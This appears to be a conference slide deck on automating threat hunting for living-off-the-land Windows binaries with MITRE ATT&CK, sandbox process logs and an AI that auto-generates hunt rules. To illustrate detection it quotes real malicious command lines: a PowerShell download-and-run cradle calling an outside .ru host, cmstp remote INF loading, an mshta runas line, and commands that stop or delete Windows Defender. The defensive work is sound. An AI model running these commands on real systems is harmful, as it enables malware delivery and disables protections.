ATT&CKing The Command Line & Hunting
For More
Evan Gaustad
Principal Threat Detection Engineer
LogicHub
Agenda

- Threat Hunting Automation Motivation
- MITRE ATT&CK & LOLBAS
- Process Execution Logs
- Artificial Intelligence Agent Design
- Putting it all together
- Results
- Take-aways
Threat Hunting Automation Motivation

Current Reality
- Threat hunting used to detect activity we are currently missing. As defenders, we often don’t know we are missing it.
- Resource gaps
- Skill gaps
- Limited time to spend on threat hunting

Suggested Approach
- Automate threat hunting
- MITRE ATT&CK and other frameworks is a good place to start
- **MUST** be effective with both small and big data
MITRE ATT&CK

- Adversarial Tactics, Techniques, and Common Knowledge
- Knowledge base for cyber adversary behavior (techniques) mapped to kill chain phases (tactics)
- Can be consumed in Wiki format or programmatically via STIX/TAXII interface

https://attack.mitre.org/
MITRE ATT&CK

Initial Access
- Drive-by Compromise
- Spearphishing Link

Execution
- PowerShell
- CMSTP

Persistence
- New Service
- Scheduled Task

Lateral Movement
- Remote Desktop Protocol
- Windows Remote Management

Exfiltration
- Data Transfer Size Limits
- Exfiltration over C2 Channel

283 Techniques (219 unique) across 10 tactics
CMSTP

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.\cite{1} CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands.\cite{2} Similar to Regsvr32 / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs\cite{3} and/or COM scriptlets (SCT) from remote servers.\cite{4,5} This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.\cite{3,5}

<table>
<thead>
<tr>
<th>ID</th>
<th>T1191</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tactic</td>
<td>Defense Evasion, Execution</td>
</tr>
<tr>
<td>Platform</td>
<td>Windows</td>
</tr>
<tr>
<td>Permissions</td>
<td>User</td>
</tr>
<tr>
<td>Required</td>
<td></td>
</tr>
<tr>
<td>Data</td>
<td>Process Monitoring, Process command-line parameters</td>
</tr>
<tr>
<td>Sources</td>
<td></td>
</tr>
<tr>
<td>Supports</td>
<td>No</td>
</tr>
<tr>
<td>Remote</td>
<td></td>
</tr>
<tr>
<td>Defense Bypassed</td>
<td>Application whitelisting, Anti-virus</td>
</tr>
<tr>
<td>Contributors</td>
<td>Ye Yint Min Thu Hlut, Offensive Security Team, DBS Bank</td>
</tr>
</tbody>
</table>
Living Off the Land Binaries and Scripts

- General term used when an attacker abuses built-in binaries and scripts of an OS install or common application installation
- These techniques may be harder to detect, evade controls, blend in with normal use etc.
- LOLBAS typically provides examples of how these tools are invoked at the command line.

https://github.com/api0cradle/LOLBAS
Cmstp.exe

- Functions: Execute, UACBypass

```
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
```

```
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinar.../Payload/Cmstp.inf
```

Acknowledgements:
- Oddvar Moe - @oddvarmoe
- Nick Tyrer - @NickTyrer

Code sample:
- Cmstp.inf
- Cmstp_calc.sct

Resources:
- https://twitter.com/NickTyrer/status/958450014111633408
Learn about the Windows Operating System

- Common OS binaries and directory structure. Can be obtained from “gold image(s)” and process execution logs.
- Tool descriptions and command line arguments.
- Operating system features, some obscure and undocumented
- Common file type, SIDs, common protocols, RFC 1918 IP Address Allocation, registry keys, alternate data streams etc.
Threat Hunting Living off the Land

- Review and understand MITRE ATT&CK techniques and LOLBAS examples
- Identify patterns that might indicate malicious activity
- Search hypothesized pattern in enterprise endpoint logs to confirm
- Reduce events from millions per day to dozens
- Repeat until something “interesting” is found and is escalated for investigation
Process Execution Logs

Provides information about each process executed on an endpoint

Collection Option #1: Windows Event Logging
- Enable logging via Group Policy change (Event ID 4688)
- Enable Command Line Argument Logging

Collection Option #2: Sysmon
- Run Sysmon and enable Type 1 event logging

Collection Option #3: EDR Tools
- Enterprise Detection Response (EDR) tools (e.g. Tanium, Carbon Black, CyberReason)
Malware Sandbox Logs

- Collected malware sandbox logs from Hybrid Analysis
- Parsed and preprocessed more than 3 months of logs

https://www.hybrid-analysis.com/docs/api/v2#/Feed/get_feed_latest
Automate Threat Hunting LOLBAS

- Like humans, AI needs knowledge of MITRE ATT&CK, LOLBAS, Microsoft built-in tools (long-term memory)
- Working memory learns new variations of attacks (short-term memory)
- Automate searches of enterprise logs
- Score results to escalate high priority events for investigation
Cognitive Architecture

Attacker / Normal Use knowledge

Long Term Memory
Cognitive Architecture

Attacker / Normal Use knowledge
Long Term Memory

Tool Usage examples
Short Term Memory
Cognitive Architecture

Attacker / Normal Use knowledge

Tool Usage examples

Long Term Memory

Short Term Memory

Malware Sandbox Logs
Cognitive Architecture

Attacker / Normal Use knowledge
Long Term Memory

Tool Usage examples
Short Term Memory

Malware Sandbox Logs

Heuristics, “Similarity” searches, and classification

Clustered TTPs

Prioritized Hunt Logic
Knowledge Representation

Attacker / Normal Use knowledge

Tool Usage Examples

Process Chains
- Powershell.exe
  - Rundll32.exe
    - Functions: Execute, Read ADS
    - References: LOLBAS/ATT&CK
    - Windows path: C:\Windows\...undll32.exe
- Excel.exe
  - Desktop
  - First_seen: 8/9/2018
  - Label: Malicious
  - Times_seen: 4

Command Line Args
- Javascript:
  - First_seen: 7/2/2018
  - Label: Benign
  - Times_seen: 35

TAG
TAG
### LOLBAS / ATT&CK Mapping

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command &amp; Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive-by Compromise</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
</tr>
<tr>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
<td>FACE</td>
</tr>
<tr>
<td>Command &amp; Control</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
<td>Uncovered Attack Surface</td>
</tr>
<tr>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
<td>Eternal Blue</td>
</tr>
<tr>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
<td>Legion</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### ATT&CK Techniques directly mapped to LOLBAS

- **45 of 283 (16%)** ATT&CK Techniques are mapped directly to LOLBAS.
## LOBAS / ATT&CK Mapping

<table>
<thead>
<tr>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Command And Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>15 items</td>
<td>9 items</td>
<td>5 items</td>
<td>18 items</td>
<td>2 items</td>
<td>3 items</td>
<td>2 items</td>
<td>1 items</td>
</tr>
<tr>
<td>CMSTP</td>
<td>BITS Jobs</td>
<td>Bypass User Account Control</td>
<td>BITS Jobs</td>
<td>Credential Dumping</td>
<td>Query Registry</td>
<td>Remote File Copy</td>
<td>Remote File Copy</td>
</tr>
<tr>
<td>Control Panel Items</td>
<td>Modify Existing Service</td>
<td>Path Interception</td>
<td>Bypass User Account Control</td>
<td>CMSTP</td>
<td>Credentials in Registry</td>
<td>Security Software Discovery</td>
<td>Remote File Copy</td>
</tr>
<tr>
<td>InstallUtil</td>
<td>Netsh Helper DLL</td>
<td>Port Monitors</td>
<td>New Service</td>
<td>Control Panel Items</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>System Service Discovery</td>
<td>Windows Remote Management</td>
</tr>
<tr>
<td>Mshta</td>
<td>New Service</td>
<td>Service Registry Permissions Weakness</td>
<td>Indirect Command Execution</td>
<td>InstallUtil</td>
<td>Modify Registry</td>
<td>Mshra</td>
<td>NTFS File Attributes</td>
</tr>
<tr>
<td>PowerShell</td>
<td>Path Interception</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Regsvcs/Regasm</td>
<td>Port Monitors</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Regsvr32</td>
<td>Service Registry Permissions Weakness</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Rundll32</td>
<td>SIP and Trust Provider Hijacking</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Scripting</td>
<td>Winlogon Helper DLL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Service Execution</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Signed Binary Proxy</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Signed Script Proxy</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Trusted Developer Utilities</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Management</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Instrumentation</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Windows Remote Management</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

45 of 283 (16%) ATT&CK Techniques directly mapped to LOBAS
Hunting for “Similarity”

Method #1: Process Chains

Method #2: Text Similarity

Method #3: Grouping Concept “Tags”
Hunting for “Similarity”

Method #1: Process Chains

Method #2: Text Similarity

Method #3: Grouping Concept “Tags”
Process Chains

- Parse malware sandbox process execution logs for process call chains
- Learn which process chains are malicious, benign, and whether we have enough information to be certain

<table>
<thead>
<tr>
<th>PPID</th>
<th>PID</th>
<th>Process / Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>101</td>
<td>WINWORD.EXE /n &quot;C:\ProtectedDocument.docm&quot;</td>
</tr>
<tr>
<td>101</td>
<td>102</td>
<td>rundll32.exe %WINDIR%\System32\rundll32.EXE</td>
</tr>
<tr>
<td>102</td>
<td>103</td>
<td>updateservice.exe</td>
</tr>
</tbody>
</table>

First seen: 5/20/2018
Last observed: 8/20/2018
Times seen: 35
# malicious: 35
# benign: 0

winword.exe > rundll32.exe > unknown.exe

Short Term Memory Representation
Process Chain Training

Distinct LOLBAS Learned Stabilized after 24 days for 39% coverage of known LOLBAS (39 of 99)
Process Chain TTP Identification

- Beyond tribal knowledge, AI automatically extracted process chain TTPs with no benign examples.

<table>
<thead>
<tr>
<th>Count</th>
<th>Process Chain</th>
</tr>
</thead>
<tbody>
<tr>
<td>4710</td>
<td>unknown_process.exe =&gt; unknown_process.exe =&gt; taskkill.exe</td>
</tr>
<tr>
<td>1295</td>
<td>unknown_process.exe =&gt; cmd.exe =&gt; cmd.exe</td>
</tr>
<tr>
<td>1215</td>
<td>winword.exe =&gt; cmd.exe</td>
</tr>
<tr>
<td>1003</td>
<td>unknown_process.exe =&gt; unknown_process.exe =&gt; cmd.exe =&gt; cscript.exe</td>
</tr>
<tr>
<td>718</td>
<td>unknown_process.exe =&gt; nslookup.exe</td>
</tr>
<tr>
<td>699</td>
<td>winword.exe =&gt; powershell.exe</td>
</tr>
<tr>
<td>690</td>
<td>unknown_process.exe =&gt; cmd.exe =&gt; cscript.exe</td>
</tr>
<tr>
<td>673</td>
<td>unknown_process.exe =&gt; unknown_process.exe =&gt; unknown_process.exe =&gt; cmd.exe</td>
</tr>
<tr>
<td>556</td>
<td>unknown_process.exe =&gt; taskkill.exe</td>
</tr>
<tr>
<td>550</td>
<td>unknown_process.exe =&gt; attrib.exe</td>
</tr>
</tbody>
</table>
Hunting for “Similarity”

Method #1: Process Chains

Method #2: Text Similarity

Method #3: Grouping Concept “Tags”
Command Line Argument Analysis

- Some techniques better identified through command line arguments

<table>
<thead>
<tr>
<th>PPID</th>
<th>PID</th>
<th>Process / Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>101</td>
<td>cmd.exe /c &quot;powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile ('<a href="http://atoloawrd.ru/arox/nmc.exe?gJ0Hv">http://atoloawrd.ru/arox/nmc.exe?gJ0Hv</a>', '%TeM%PnY63.eXE'); Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList '%TeM%PnY63.EXE'&quot;</td>
</tr>
</tbody>
</table>

"Similarity Measurement"

/c powershell -w hidden -noprofile -executionpolicy bypass ...
First seen: 5/20/2018
Last observed: 8/20/2018
Times similar seen: 12
# malicious: 12
# benign: 0

Process Execution Log Example

Short Term Memory Representation
## Command Line Argument TTP Identification

- AI aggregates statistics using NLP-based similarity searches after it experiences enough data

<table>
<thead>
<tr>
<th>Count</th>
<th>%</th>
<th>Command Line Arguments for cmd.exe</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>6.4%</td>
<td>/s /d /c&quot; ftype &quot;</td>
<td>Displays file extension associations</td>
</tr>
<tr>
<td>68</td>
<td>5.4%</td>
<td>/c start <a href="http://www.pornhub.com">www.pornhub.com</a></td>
<td>Forces user to visit porn site</td>
</tr>
<tr>
<td>47</td>
<td>3.7%</td>
<td>/c sc stop windefend</td>
<td>Stops Windows Defender service</td>
</tr>
<tr>
<td>46</td>
<td>3.7%</td>
<td>/c powershell set-mppreference - disablerealtimemonitoring $true</td>
<td>Disables realtime monitoring in Microsoft Defender</td>
</tr>
<tr>
<td>46</td>
<td>3.7%</td>
<td>/c sc delete windefend</td>
<td>Deletes Windows Defender</td>
</tr>
<tr>
<td>43</td>
<td>3.4%</td>
<td>/c cacls &quot;%appdata%\microsoft\windows\start menu\programs\startup\start.lnk&quot; /t /e /g users:f /c</td>
<td>Grants full control of .lnk file to all users</td>
</tr>
<tr>
<td>29</td>
<td>2.3%</td>
<td>/c ftyp^e</td>
<td>find^str df^il</td>
</tr>
<tr>
<td>24</td>
<td>1.9%</td>
<td>/k attrib &quot;c:&quot; +s +h</td>
<td>Adds system and hidden file attributes</td>
</tr>
</tbody>
</table>
Hunting for “Similarity”

Method #1: Process Chains

Method #2: Text Similarity

Method #3: Grouping Concept “Tags”
Command Line Argument Analysis

- Similarity measured on the Tags (exact match or Jaccard Similarity)

<table>
<thead>
<tr>
<th>PPID</th>
<th>PID</th>
<th>Process / Command Line</th>
</tr>
</thead>
</table>

Process Execution Log Example

```
/c powershell -w hidden -noprofile -executionpolicy bypass ...
```

First seen: 5/20/2018
Last observed: 8/20/2018
Times similar seen: 12
# malicious: 12
# benign: 0

Short Term Memory Representation

**TAGS**

- `%temp%`
- `.exe`
- `/c`
Command Line Argument Analysis

- Similarity measured on the Tags (exact match or Jaccard Similarity)

<table>
<thead>
<tr>
<th>PPID</th>
<th>PID</th>
<th>Process / Command Line</th>
</tr>
</thead>
</table>

Process Execution Log Example

First seen: 5/20/2018
Last observed: 8/20/2018
Times similar seen: 12
# malicious: 12
# benign: 0

Short Term Memory Representation

Tags:
- /c
- http
- .exe
- %temp%
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

#1: mshta.exe c:\page.hta
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

#1: mshta.exe c:\page.hta
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

#1: mshta.exe c:\page.hta
#2: mshta.exe c:\invoice.hta
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

#1: mshta.exe c:\page.hta

#2: mshta.exe c:\invoice.hta
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

#1: mshta.exe c:\page.hta

#2: mshta.exe c:\invoice.hta

#3: mshta.exe
vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\_\_\bat ::","","runas",1)(window.close)
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

Candidate Rule #1
  process = mshta.exe entropy > 2.8
  Malicious Coverage: 61%
  False Positives: 0 False Negatives: 14
Hunt Rule Performance

- Total "mshta.exe" samples: 48
  - 36 Malicious / 12 Benign

**Candidate Rule #1**
- process = mshta.exe entropy > 2.8
- Malicious Coverage: 61%
- False Positives: 0 False Negatives: 14

**Candidate Rule #2**
- process = mshta.exe entropy > 2.55
- Malicious Coverage: 86%
- False Positives: 3 False Negatives: 5
Auto Generate Hunt Rule (mshta.exe)

Treat “Tags” as conditions to build simple decision tree from data
Auto Generate Hunt Rule (mshta.exe)

Follow path from root to leaf nodes...

* Auto-generates hunt rules for each tool or technique.
Follow path from root to leaf nodes...

* Auto-generates hunt rules for each tool or technique.

* Use rules based on expected false positive / true positive rates

"mshta.exe" parent=unknown cmd="*.exe cmd=""*%temp%*"

0 False Positives

Finds 13% of known malicious
Limitations

- This proof of concept was entirely based on Windows built-in tools and scripts, but can be extended.
- If the attack is not visible in process execution logs, it will not be detected.
- Novel techniques may not be caught by this approach.
- Always opportunity to give the AI additional knowledge about Windows internals and relationships.
Comparison to EDR Solutions

- Some popular Enterprise Detection and Response (EDR) solutions offer ML / AI capabilities, others do not.
- Unique features of this proof of concept AI:
  - **Highly Dynamic AI.** Learns from a single example and scales its ML approach as the available data grows in size.
  - **Learns from your environment.** Accounts for unique tendencies in your environment and enables a feedback loop from investigations to automatically tune false positives.
  - **Knowledge-based approach.** Decisions are explainable to human analysts. It can provide closest matching benign / malicious examples that fed into its decision along with confidence scores, descriptions of tools, and reference material together with alerts.
Take-aways

- Benefits of host process execution logs
  - We can fully automate the extraction of TTPs and automate threat detection based on small and large feeds of malicious / benign activity
- MITRE ATT&CK techniques and LOLBAS can be prioritized based on observed usage in attacks
- We can auto-generate hunt rules, understand rule performance, and visualize gaps from known malicious examples
- Code, data, analysis, and presentation can be found here:
  - [https://github.com/egaus/wayfinder](https://github.com/egaus/wayfinder)
Intelligent Security Automation for:

<table>
<thead>
<tr>
<th></th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert Triage</td>
<td>Reduce false positives by 95%</td>
</tr>
<tr>
<td>Incident Response</td>
<td>Reduce response times (MTTR)</td>
</tr>
<tr>
<td>Threat Hunting</td>
<td>Detect unknown threats</td>
</tr>
</tbody>
</table>
Questions?

#cyberaitech
Evan@logichub.com